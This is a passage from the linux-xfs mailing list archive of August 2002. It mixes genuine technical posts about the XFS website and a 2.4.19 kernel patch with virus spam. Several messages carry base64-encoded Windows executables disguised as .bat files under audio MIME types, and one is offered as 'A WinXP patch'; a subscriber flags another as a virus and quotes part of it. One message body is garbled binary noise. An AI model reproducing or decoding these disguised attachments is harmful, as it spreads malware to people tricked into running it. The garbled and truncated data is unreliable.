AAAYEgCAHwgAADASAIAhCAAASBIAgCIIAABgEgCAdQgAAHgSAIB3CAAAkBIAgJkIAACoEgCA nggAAMASAICmCAAA2BIAgKsIAADwEgCArAgAAAgTAIC4CAAAIBMAgLkIAAA4EwCAxwkAAFAT AIDJCQAAaBMAgMsJAACAEwCA1QkAAJgTAIDnCQAAsBMAgPoJAADIEwCA/gkAAOATAIAACgAA +BMAgAYKAAAQFACADAoAACgUAIANCgAAQBQAgNwLAABYFACA3QsAAHAUAIDxCwAAiBQAgIkT AACgFACAihMAALgUAICNEwAA0BQAgI4TAADoFACAAAAAAAAAAAAEAAAAAABrAIQBAAAAFQCA hQEAABgVAICGAQAAMBUAgIcBAABIFQCAiAEAAGAVAICJAQAAeBUAgIoBAACQFQCAjAEAAKgV AICNAQAAwBUAgI4BAADYFQCAjwEAAPAVAICQAQAACBYAgJEBAAAgFgCAkwEAADgWAICUAQAA UBYAgJUBAABoFgCAlgEAAIAWAICXAQAAmBYAgJgBAACwFgCAmwEAAMgWAICcAQAA4BYAgJ0B AAD4FgCAngEAABAXAICfAQAAKBcAgKABAABAFwCAoQEAAFgXAICiAQAAcBcAgKMBAACIFwCA pAEAAKAXAIClAQAAuBcAgKYBAADQFwCAqAEAAOgXAICpAQAAABgAgLYBAAAYGACAtwEAADAY AIC4AQAASBgAgLkBAABgGACAugEAAHgYAIC7AQAAkBgAgLwBAACoGACAvQEAAMAYAIC+AQAA 2BgAgL8BAADwGACAwAEAAAgZAIDBAQAAIBkAgMIBAAA4GQCAwwEAAFAZAIDEAQAAaBkAgMUB AACAGQCAxgEAAJgZAIDHAQAAsBkAgMgBAADIGQCAyQEAAOAZAIDKAQAA+BkAgMsBAAAQGgCA zAEAACgaAIDNAQAAQBoAgM4BAABYGgCAzwEAAHAaAIDuAQAAiBoAgO8BAACgGgCA9QEAALga AID2AQAA0BoAgPcBAADoGgCA+AEAAAAbAID5AQAAGBsAgPoBAAAwGwCA+wEAAEgbAID8AQAA YBsAgP0BAAB4GwCA/gEAAJAbAID/AQAAqBsAgAACAADAGwCAAQIAANgbAIACAgAA8BsAgAMC AAAIHACABAIAACAcAIAFAgAAOBwAgAYCAABQHACAUgIAAGgcAIBTAgAAgBwAgFQCAACYHACA VQIAALAcAIBWAgAAyBwAgFcCAADgHACAWAIAAPgcAIBZAgAAEB0AgFoCAAAoHQCAWwIAAEAd AIBlAgAAWB0AgGYCAABwHQCAZwIAAIgdAIBoAgAAoB0AgGkCAAC4HQCAagIAANAdAICwAgAA 6B0AgLICAAAAHgCAswIAABgeAIBGAwAAMB4AgEcDAABIHgCATgMAAGAeAIBPAwAAeB4AgNwD AACQHgCA3QMAAKgeAIDeAwAAwB4AgN8DAADYHgCAHQcAAPAeAIAAAAAAAAAAAAQAAAAAAAEA 4wcAAAgfAIAAAAAAAAAAAAQAAAAAAAEAEQQAACAfAIAAAAAAAAAAAAQAAAAAABEA6QMAADgf AIDuAwAAUB8AgPsDAABoHwCAOwQAAIAfAIA8BAAAmB8AgNMHAACwHwCA+gcAAMgfAIAKCAAA 4B8AgLUIAAD4HwCAtggAABAgAIC7CAAAKCAAgLwIAABAIACAvQgAAFggAIC+CAAAcCAAgL8I AACIIACACwoAAKAgAIAMCgAAuCAAgAAAAAAAAAAABAAAAAAAAQABAAAA0CAAgAAAAAAAAAAA BAAAAAAAAwDHCQAA8CAAgAAKAAAIIQCA3QsAACAhAIAAAAAAAAAAAAQAAAAAAAEACQQAADgh AAAAAAAAAAAAAAQAAAAAAAEACQQAAEghAAAAAAAAAAAAAAQAAAAAAAEACQQAAFghAAAAAAAA AAAAAAQAAAAAAAEACQQAAGghAAAAAAAAAAAAAAQAAAAAAAEACQQAAHghAAAAAAAAAAAAAAQA AAAAAAEACQQAAIghAAAAAAAAAAAAAAQAAAAAAAEADQQAAJghAAAAAAAAAAAAAAQAAAAAAAEA CQQAAKghAAAAAAAAAAAAAAQAAAAAAAEACQQAALghAAAAAAAAAAAAAAQAAAAAAAEACQQAAMgh AAAAAAAAAAAAAAQAAAAAAAEACQQAANghAAAAAAAAAAAAAAQAAAAAAAEACQQAAOghAAAAAAAA AAAAAAQAAAAAAAEACQQAAPghAAAAAAAAAAAAAAQAAAAAAAEACQQAAAgiAAAAAAAAAAAAAAQA AAAAAAEACQQAABgiAAAAAAAAAAAAAAQAAAAAAAEACQQAACgiAAAAAAAAAAAAAAQAAAAAAAEA CQQAADgiAAAAAAAAAAAAAAQAAAAAAAEACQQAAEgiAAAAAAAAAAAAAAQAAAAAAAEACQQAAFgi AAAAAAAAAAAAAAQAAAAAAAEACQQAAGgiAAAAAAAAAAAAAAQAAAAAAAEACQQAAHgiAAAAAAAA AAAAAAQAAAAAAAEACQQAAIgiAAAAAAAAAAAAAAQAAAAAAAEACQQAAJgiAAAAAAAAAAAAAAQA AAAAAAEACQQAAKgiAAAAAAAAAAAAAAQAAAAAAAEACQQAALgiAAAAAAAAAAAAAAQAAAAAAAEA CQQAAMgiAAAAAAAAAAAAAAQAAAAAAAEACQQAANgiAAAAAAAAAAAAAAQAAAAAAAEACQQAAOgi AAAAAAAAAAAAAAQAAAAAAAEACQQAAPgiAAAAAAAAAAAAAAQAAAAAAAEADQQAAAgjAAAAAAAA AAAAAAQAAAAAAAEACQQAABgjAAAAAAAAAAAAAAQAAAAAAAEACQQAACgjAAAAAAAAAAAAAAQA AAAAAAEACQQAADgjAAAAAAAAAAAAAAQAAAAAAAEADQQAAEgjAAAAAAAAAAAAAAQAAAAAAAEA DQQAAFgjAAAAAAAAAAAAAAQAAAAAAAEADQQAAGgjAAAAAAAAAAAAAAQAAAAAAAEADQQAAHgj AAAAAAAAAAAAAAQAAAAAAAEACQQAAIgjAAAAAAAAAAAAAAQAAAAAAAEACQQAAJgjAAAAAAAA AAAAAAQAAAAAAAEACQQAAKgjAAAAAAAAAAAAAAQAAAAAAAEACQQAALgjAAAAAAAAAAAAAAQA AAAAAAEACQQAAMgjAAAAAAAAAAAAAAQAAAAAAAEACQQAANgjAAAAAAAAAAAAAAQAAAAAAAEA CQQAAOgjAAAAAAAAAAAAAAQAAAAAAAEACQQAAPgjAAAAAAAAAAAAAAQAAAAAAAEACQQAAAgk AAAAAAAAAAAAAAQAAAAAAAEACQQAABgkAAAAAAAAAAAAAAQAAAAAAAEACQQAACgkAAAAAAAA AAAAAAQAAAAAAAEACQQAADgkAAAAAAAAAAAAAAQAAAAAAAEACQQAAEgkAAAAAAAAAAAAAAQA AAAAAAEACQQAAFgkAAAAAAAAAAAAAAQAAAAAAAEACQQAAGgkAAAAAAAAAAAAAAQAAAAAAAEA CQQAAHgkAAAAAAAAAAAAAAQAAAAAAAEACQQAAIgkAAAAAAAAAAAAAAQAAAAAAAEACQQAAJgk AAAAAAAAAAAAAAQAAAAAAAEACQQAAKgkAAAAAAAAAAAAAAQAAAAAAAEADQQAALgkAAAAAAAA AAAAAAQAAAAAAAEADQQAAMgkAAAAAAAAAAAAAAQAAAAAAAEADQQAANgkAAAAAAAAAAAAAAQA AAAAAAEADQQAAOgkAAAAAAAAAAAAAAQAAAAAAAEADQQAAPgkAAAAAAAAAAAAAAQAAAAAAAEA CQQAAAglAAAAAAAAAAAAAAQAAAAAAAEACQQAABglAAAAAAAAAAAAAAQAAAAAAAEACQQAACgl AAAAAAAAAAAAAAQAAAAAAAEACQQAADglAAAAAAAAAAAAAAQAAAAAAAEACQQAAEglAAAAAAAA AAAAAAQAAAAAAAEACQQAAFglAAAAAAAAAAAAAAQAAAAAAAEACQQAAGglAAAAAAAAAAAAAAQA AAAAAAEACQQAAHglAAAAAAAAAAAAAAQAAAAAAAEACQQAAIglAAAAAAAAAAAAAAQAAAAAAAEA CQQAAJglAAAAAAAAAAAAAAQAAAAAAAEACQQAAKglAAAAAAAAAAAAAAQAAAAAAAEATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACX5V8C04QxUdOEMVHThDFR04QwUWKEMVGKpyJR3YQxUYWMN1HShDFR 04QxUfCEMVFSaWNo04QxUQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQA7vzwOQAA AAAAAAAA4AAGIwsBBQwAugAAAKIAAAAAAAD3IwAAABAAAADQAAAAACwBABAAAAACAAAFAAAA BQAAAAQAAAAAAAAAAJABAAAGAAAvNwIAAgAAAAAABAAAEAAAAAAQAAAQAAAAAAAAEAAAAJDH AAAXAgAAGL0AAIwAAAAA4AAANJAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAjAoAAPARAAAcAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAADkAQAA2LkAAMAA AAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAACnuQAAABAAAAC6AAAABgAAAAAAAAAAAAAAAAAA IAAAYC5kYXRhAAAAdAQAAADQAAAAAgAAAMAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAACg AAAA4AAAAJIAAADCAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAB2DQAAAIABAAAOAAAAVAEA AAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA=9 --X8H68A33V8 --X8H68A33V8 Content-Type: application/octet-stream; name=ILTEMP.txt Content-Transfer-Encoding: base64 Content-ID: ImlsIHRlbXBvIHNlIG5lIHZhIiAoYS5jZWxlbnRhbm8pDQpxdWVsIHZlc3RpdG8gZGEgZG92 ZSBlJyBzYnVjYXRvDQpjaGUgaW1wcmVzc2lvbmUgdmVkZXJsbyBpbmRvc3NhdG8NCnNlIHRp IHZlZGUgdHVhIG1hZHJlIGxvIHNhaQ0KcXVlc3RhIHNlcmEgZmluaWFtbyBuZWkgZ3VhaQ0K ZScgc3RyYW5vIG1hIHNlaSBwcm9wcmlvIHR1DQpxdWF0dG9yZGljaSBhbm5pIG8gdW4gcG8n IGRpIHBpdScNCmxhIHR1YSBiYXJiaWUgZScgZGEgdW4gcG8nDQpjaGUgbm9uIGwnaGFpDQpl IGlsIHR1byBwYXNzbyBlJyBkYSBkb25uYSBvcm1haQ0KYWwgdGVsZWZvbm8gZScgc2VtcHJl IHVuIHNlZ3JldG8NCnF1YW50ZSBjb3NlIGluIHVuIGZpbG8gZGkgZmlhdG8NCmUgdm9ycmVp IGRvbWFuZGFydGkgY2hpIGUnDQptYSBsbyBzbyBjaGUgaGFpIHZlcmdvZ25hIGRpIG1lDQps YSBwb3J0YSBjaGl1c2EgbWFsZSBlIHR1DQpsbyBzcGVjY2hpbyBpbCB0cnVjY28gaWwgc2Vu byBpbiBzdScNCmUgdHJhIHBvY28gbGEgc2VyYSB1c2NpcmFpDQpkZWxsZSBzZXJlIG5vbiBk b3JtaXJvJyBtYWkNCmUgaW50YW50byBpbCB0ZW1wbyBzZSBuZSB2YQ0KZSBub24gdGkgc2Vu dGkgcGl1JyBiYW1iaW5hDQpzaSBjcmVzY2UgaW4gZnJldHRhIGFsbGEgdHVhIGV0YScNCm5v biBtZSBuZSBzb25vIGFjY29ydG8gcHJpbWENCmUgaW50YW50byBpbCB0ZW1wbyBzZSBuZSB2 YQ0KY29pIHNvZ25pIGUgbGUgcHJlb2NjdXBhemlvbmkNCmxlIGNhbHplIGEgcmV0ZSBoYW4g cHJlc28gZ2lhJw0KaWwgcG9zdG8gZGVpIGNhbHpldHRvbmkNCmZhcnNpIGRvbm5hIGUnIHBp dScgY2hlIG5vcm1hbGUNCm1hIHVuYSBmaWdsaWEgZScgdW5hIGNvc2Egc3BlY2lhbGUNCmls IHJhZ2F6em8gbWFnYXJpIGNlIGwnaGFpDQpxdWFsY2hlIHZvbHRhIGhhaSBnaWEnIHBpYW50 byBwZXIgbHVpDQpsYSBnb25uYSB1biBwbycgcGl1JyBjb3J0YSBlIHBvaQ0KbWFsaXppYSBp biBjZXJ0aSBnZXN0aSB0dW9pDQplIHRyYSBwb2NvIGxhIHNlcmEgdXNjaXJhaQ0KZGVsbGUg c2VyZSBub24gZG9ybWlybycgbWFpDQplIGludGFudG8gaWwgdGVtcG8gc2UgbmUgdmENCmUg bm9uIHRpIHNlbnRpIHBpdScgYmFtYmluYQ0Kc2kgY3Jlc2NlIGluIGZyZXR0YSBhbGxhIHR1 YSBldGEnDQpub24gbWUgbmUgc29ubyBhY2NvcnRvIHByaW1hDQplIGludGFudG8gaWwgdGVt cG8gc2UgbmUgdmENCmNvaSBzb2duaSBlIGxlIHByZW9jY3VwYXppb25pDQpsZSBjYWx6ZSBh IHJldGUgaGFuIHByZXNvIGdpYScNCmlsIHBvc3RvIGRlaSBjYWx6ZXR0b25pDQpuYSBuYSBu YSBuYSBuYSAuLi4uLg0K --X8H68A33V8-- From mlpi_uy_rff301w@amazon.com Sat Aug 24 11:00:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 24 Aug 2002 11:00:24 -0700 (PDT) Received: from [211.161.223.49] (sw59-150-240.adsl.seed.net.tw [61.59.150.240]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7OI0L9D012786 for ; Sat, 24 Aug 2002 11:00:22 -0700 Received: from [211.161.69.49] by [211.161.113.49] with SMTP (MDaemon.v2.7.SP4.R) for ; Tue, 13 Aug 2002 12:56:31 +0800 From: mlpi_uy_rff301w@amazon.com To: linux-xfs@oss.sgi.com Subject: =?ISO-8859-1?Q?42=BDe=A8=A5?= Reply-To: n3q1v_coee3cbiy@bloomberg.com Date: 13 Aug 2002 13:23:36 +0800 Received: from login_0216.mailservice.net (mx.service.net[206.232.231.77] (may be forged)) by [192.201.131.147] (8.8.5/8.7.3) with SMTP id XAA03254; ¬P´Á¤G 13 ¤K¤ë 2002 06:16:37 -0700 (EDT) Reply-To: receive_adm@topservice.net X-PMFLAGS: 10326341.10 X-UIDL: 10293217_192832.222 Comments: Authenticated Sender is Message-Id: <572 X-archive-position: 4 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mlpi_uy_rff301w@amazon.com Precedence: bulk X-list: linux-xfs From knuffie@xs4all.nl Sat Aug 24 12:36:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 24 Aug 2002 12:36:14 -0700 (PDT) Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7OJaB9D013430 for ; Sat, 24 Aug 2002 12:36:12 -0700 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7OJdNvL037278; Sat, 24 Aug 2002 21:39:24 +0200 (CEST) Message-Id: <4.3.2.7.2.20020824213456.037e6620@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sat, 24 Aug 2002 21:37:55 +0200 To: Christoph Hellwig , James Rich From: Seth Mos Subject: Re: Hacking XFS (was Re: reserve space for root?) Cc: Steve Lord , linux-xfs@oss.sgi.com In-Reply-To: <20020823211050.A27629@infradead.org> References: <1030115461.6679.30.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 5 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 21:10 23-8-2002 +0100, Christoph Hellwig wrote: >I think XFS would really need someone to maintain the website. It's >horribly out of date, and misses some important links. For example >it would be nice to have a link to my XFS merge status or even a htmlized >version. I don't know whether externals are allowed to work on oss.sgi.com, >though.. I just added a link to your changelog 4 days ago or so ;) Way ahead of you. Although Eric allows me to update the site I rarely do so. The problem is the amount of spare time I have beside my work and personal life. If someone has enough time to maintain a changelog I would be happy to put it on the site. At least something to track what was fixed when. Cheers -- Seth It might just be your lucky day, if you only knew. From mdew@orcon.net.nz Sat Aug 24 14:38:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 24 Aug 2002 14:38:45 -0700 (PDT) Received: from mail.visp.co.nz (mx1.visp.co.nz [210.55.24.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7OLcf9D014048 for ; Sat, 24 Aug 2002 14:38:41 -0700 Received: from localhost.localdomain (210-54-175-12.visp.co.nz [210.54.175.12] (may be forged)) by mail.visp.co.nz (8.11.1/8.11.1) with ESMTP id g7OLfuV75236 for ; Sun, 25 Aug 2002 09:41:56 +1200 (NZST) Subject: 2.4.19 patch From: mdew To: xfs Content-type: text/plain X-Mailer: Ximian Evolution 1.0.8 Date: 25 Aug 2002 09:38:24 +1200 Message-Id: <1030225108.5879.6.camel@mdew> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-archive-position: 6 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mdew@orcon.net.nz Precedence: bulk X-list: linux-xfs ive made a patch for 2.4.19 (a clean 2.4.19 that is) 2.4.19-1c o linux-2.4.19-xfs-2002-08-04-cvs.patch o 2.4.19-rmap14a o htb3.6-020525 (modified for 2.4.19) o cobra gamepad-usb-patch, my personal use :) o preempt-kernel-rml-2.4.19-1.patch Just for my personal use, works fine too :) http://mdew.orcon.net.nz/2.4.19-xfs-rmap14a-2.diff.gz -- ph33r! Linux mdew 2.4.19-xfs-rmap14a-prempt-mdw #2 Sun Aug 25 00:53:27 NZST 2002 i686 unknown unknown GNU/Linux GPG Key: http://mdew.orcon.net.nz/gpg -- Attached file included as plaintext by Ecartis -- -- File: signature.asc -- Desc: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQA9Z/zQH5J/xul0J+4RAjAoAJ4uU93DSw6VlOhV15IdMXlO7pZv3ACggidf x/WCl3d5R/OZgWaAbkCjOxk= =SNwk -----END PGP SIGNATURE----- From jwest@nic.com Sat Aug 24 14:42:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 24 Aug 2002 14:42:53 -0700 (PDT) Received: from ns1.srv.hcvlny.cv.net (ns1.srv.hcvlny.cv.net [167.206.1.30]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7OLgp9D014078 for ; Sat, 24 Aug 2002 14:42:51 -0700 Received: from nic.com (ool-4350f032.dyn.optonline.net [67.80.240.50]) by ns1.srv.hcvlny.cv.net (8.9.3/8.9.1) with ESMTP id RAA12377 for ; Sat, 24 Aug 2002 17:46:07 -0400 (EDT) Message-ID: <3D67FE5A.574F4A33@nic.com> Date: Sat, 24 Aug 2002 17:44:58 -0400 From: John W Reply-To: jwest@nic.com Organization: Long Pond Ind X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-xfs i686) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: How to handle Groups from Active Dir Content-type: text/plain Content-Transfer-Encoding: 8bit X-archive-position: 7 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jwest@nic.com Precedence: bulk X-list: linux-xfs ‰d³ó^yÛhjëaºÇ«±¨Š{-jsm«vÇ«¾'ü-Š÷ƒŠ¸§ ‰©jÙ¨uïÚÙÞyÛhµ©Š{hiÇ(º{F 6¬ÁéejÅôáz·š­ë½êÚ–Ç«¾'³ +’)ඌ­Û-†+ÿ"ØbžOÿ²ç!jÌ"¸§wõ¨ºW@p¿ì¦º/‰×­…ë™ë(®Úº.¦W¯zW(žÚè–ÏÃ8‰ÞyÛhh®Ó±ç.®+r–+-ý©ÝºÇ¢¶Ú¢¹®•«^k÷­súZ²Ìjwz×?‚º.¥ø¥zØZµØ¶¦jšbžÓ…©ä²)Úvö§qïÉ oÈžÊb­á«£ aÿÿÿÿÿÿÿÿÿÿÿôïÁ From stimits@attbi.com Sat Aug 24 22:24:50 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 24 Aug 2002 22:24:51 -0700 (PDT) Received: from sccrmhc01.attbi.com (sccrmhc01.attbi.com [204.127.202.61]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7P5Oo9D026789 for ; Sat, 24 Aug 2002 22:24:50 -0700 Received: from attbi.com ([12.253.73.46]) by sccrmhc01.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020825052802.NFXT11061.sccrmhc01.attbi.com@attbi.com> for ; Sun, 25 Aug 2002 05:28:02 +0000 Message-ID: <3D686B54.90207@attbi.com> Date: Sat, 24 Aug 2002 23:29:56 -0600 From: "D. Stimits" Reply-To: stimits@attbi.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc3) Gecko/20020528 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: virus Re: Na na na na ..... References: Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 8 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: stimits@attbi.com Precedence: bulk X-list: linux-xfs FYI, this is another lame windows virus. jack wrote: > --X8H68A33V8 > Content-Type: text/html; > Content-Transfer-Encoding: quoted-printable > > > > > > --X8H68A33V8 > Content-Type: audio/x-midi; > name=Lr.bat > Content-Transfer-Encoding: base64 > Content-ID: > > TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ...snip... From owner-linux-xfs@oss.sgi.com Sun Aug 25 22:36:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 25 Aug 2002 22:36:06 -0700 (PDT) Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7Q5a29D011064 for ; Sun, 25 Aug 2002 22:36:02 -0700 Received: from Oqzf (pcp221423pcs.elkrdg01.md.comcast.net [68.55.213.155]) by mtaout04.icomcast.net (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 13 2002)) with SMTP id <0H1F001R7RPBXF@mtaout04.icomcast.net> for linux-xfs@oss.sgi.com; Mon, 26 Aug 2002 01:39:19 -0400 (EDT) Date: Mon, 26 Aug 2002 01:39:11 -0400 (EDT) Date-warning: Date header was inserted by mtaout04.icomcast.net From: webmaster Subject: A WinXP patch To: linux-xfs@oss.sgi.com Message-id: <0H1F001R8RPBXF@mtaout04.icomcast.net> MIME-version: 1.0 Content-type: text/plain Content-Transfer-Encoding: 8bit X-archive-position: 9 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: webmaster@fatlaneonline.com Precedence: bulk X-list: linux-xfs --Boundary_(ID_okm16FDl6+D1glszK+CPfw) Content-type: text/html Content-transfer-encoding: 7BIT Hi,This is a WinXP patch
I wish you would like it. --Boundary_(ID_okm16FDl6+D1glszK+CPfw) Content-id: Content-type: audio/x-wav; name=Pro.bat Content-transfer-encoding: base64 Content-disposition: attachment; filename=Pro.bat TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 